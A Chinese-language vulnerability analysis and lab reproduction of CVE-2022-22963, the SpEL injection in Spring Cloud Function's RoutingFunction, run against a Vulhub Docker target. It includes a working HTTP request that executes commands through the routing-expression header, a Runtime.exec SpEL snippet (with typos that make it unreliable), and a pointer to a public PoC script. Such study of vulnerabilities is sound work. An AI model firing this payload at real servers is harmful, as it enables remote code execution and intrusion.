漏洞介绍

Spring Framework 中存在一个远程代码执行漏洞(CVE-2022-22963),Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为 SpEL 表达式进行处理,造成了 SpEL 表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。

漏洞范围

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

漏洞靶场

使用 Vulhub提供的靶场环境进行复现

使用环境为Spring Cloud Function 3.2.2

vulhub-master/spring/CVE-2022-22963

1
docker-compose up -d

漏洞原理

SpEL表达式基础

SPEL(Spring Expression Language),即 Spring 表达式语言,比 JSP 的 EL 更强大的一种表达式语言。特别是方法调用和基本的字符串模板功能。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEl 可以方便快捷的对 ApplicationContext中 的 Bean 进行属性的装配和提取。

基础用法

如下是 [SpEL 表达式](https://so.csdn.net/so/search?q=SpEL 表达式&spm=1001.2101.3001.7020)求值的一个简单案例:

1
2
3
4
5
6
7
8
9
10
//创建解析器
ExpressionParser parser = new SpelExpressionParser();
//解析表达式
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");
//构造上下文
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
//表达式求值
System.out.println(expression.getValue(context));
123456789

上述流程分为 4 步:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
  2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
  3. 构造上下文:上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值;
  4. 表达式求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值。

其中,第三步构造上下文并不是必需的步骤,在不配置的情况下具有默认类型的上下文(StandardEvaluationContext),故以下代码示例与上面代码等价:

1
2
3
4
5
6
//创建解析器
ExpressionParser parser = new SpelExpressionParser();
//传入并解析需要评估的表达式
Expression expression = parser.parseExpression("'Hello World!'");
//执行表达式,然后获取值
String message = (String) expression.getValue();

安全风险

SpeL 表达式语言在 EvaluationContext 上下文类型除了提供默认的 StandardEvaluationContext外,还提供了 SimpleEvaluationContext

【风险】SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用,而 StandardEvaluationContext 是支持全部 SpEL 语法的,它包含了 SpEL 的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行,因为 SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type) 来调用任意类方法,比如以下示例代码将在 Windows 系统上执行运行计算器的指令:

1
2
3
4
5
String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));

与此同时,由于在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,所以默认情况下 SpEL 表达式求值存在代码注入导致 RCE 的风险。

漏洞的核心在于 Spring MVC 和 Spring WebFlux 模块中对 DataBinder 的使用。DataBinder 是 Spring 中用于绑定请求参数到 JavaBean 的工具,但当攻击者构造恶意的请求参数时,可能会触发 DataBinderSpelExpressionParser,从而执行任意代码。

CVE-2022-22963这个漏洞中

通过diff可以发现开发者使用了SimpleEvaluationContext进行SPEL解析,而在此前版本中使用StandardEvaluationContext。

图片

当spring.cloud.function.definition=functionRouter配置开启时,会触发RoutingFunction逻辑,当传入的spring.cloud.function.routing-expression参数可控,SPEL表达式被执行。

图片

CVE-2022-22963这个漏洞中,如果在 /functionRouter 的 POST 请求头中添加一个 spring.cloud.function.routing-expression 参数,Spring Cloud Function 会直接将参数值带入 SpEL 中查询导致 SpEL 注入。

漏洞分析

在命令执行出下断点,看下程序执行流程。

SpringCloud Function之所以能自动将函数建立http端点,是因为在包mvc.FunctionController中使用/** 监听了get/post类型的所有端点。

img

spring-cloud-function-web/src/main/java/org/springframework/cloud/function/web/mvc/FunctionController.java#L105, L111

  1. 当一个请求进入时,程序首先基于Springboot的自动配置,将配置文件注入到functionProperties,随后将以“WebRequestConstants.handler”为key,function为值添加到request数组里面。

image-20220407164023103

spring-cloud-function-web/src/main/java/org/springframework/cloud/function/web/mvc/FunctionHandlerMapping.java#L42-L44, L56-L57

image-20220407164200379

spring-cloud-function-web/src/main/java/org/springframework/cloud/function/web/mvc/FunctionHandlerMapping.java#L104

  1. 请求正式进入Controller节点,Controller首先会将请求使用wrapper进行包装,wrapper就是将request转成FunctionInvocationWrapper 格式。

image-20220407164733082

spring-cloud-function-web/src/main/java/org/springframework/cloud/function/web/mvc/FunctionController.java#L108

  1. 随后进入processRequest 对request进行处理,执行function的apply方法,跳转到doApply()时会对function进行判断,判断是不是functionRouter方法,根据咱们的配置文件此时的function为RoutingFunction.FUNCTION_NAMEfunctionRouter所以会,一路跳转到RoutingFunction.route

image-20220407170619009

spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/catalog/SimpleFunctionRegistry.java#L698

image-20220407170151488

spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L84-L87

image-20220407170208535

spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L103-L177

  1. 随后进入else if 分支, http头spring.cloud.function.routing-expression 不为空,则传入其值到functionFromExpression方法。
    image-20220407170804259

spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L127

  1. 使用标准的StandardEvaluationContext 对header的值进行SpEL表达式解析:

image-20220407171027665

src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L195-L210

image-20220407171053490

src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L61, L63

后续就不用再跟下去了,至此可以发现,只要通过环境变量、配置文件或者参数等方式配置为spring.cloud.function.definition=functionRouter 即可触发SpEL注入。

漏洞复现

  1. 访问靶场页面
    打开浏览器,访问靶场地址:http://127.0.0.1:8080/

    是SpringBoot的一个白页面

    image-20250225184155372

  2. 构造恶意请求
    使用以下 HTTP 请求构造恶意的 Spel 表达式:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    POST /functionRouter HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Connection: close
    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
    Content-Type: text/plain
    Content-Length: 4

    test
  3. 验证漏洞
    如果漏洞存在,目标服务器将在/tmp下创建一个success的文件

    此时进入容器命令行docker exec -it [容器id] /bin/bash

    查看/tmp目录下文件

    1
    ls /tmp

    image-20250225184442254

    复现成功

poc使用

https://github.com/dinosn/CVE-2022-22963

1
python poc.py url.txt

image-20250225203753040

参考

https://zhuanlan.zhihu.com/p/564586280

https://blog.csdn.net/weixin_39190897/article/details/134757313

https://mp.weixin.qq.com/s/onYJWIESgLaWS64lCgsKdw

SpringCloud Function SpEL注入漏洞分析(CVE-2022-22963) - 9eek - 博客园 (cnblogs.com)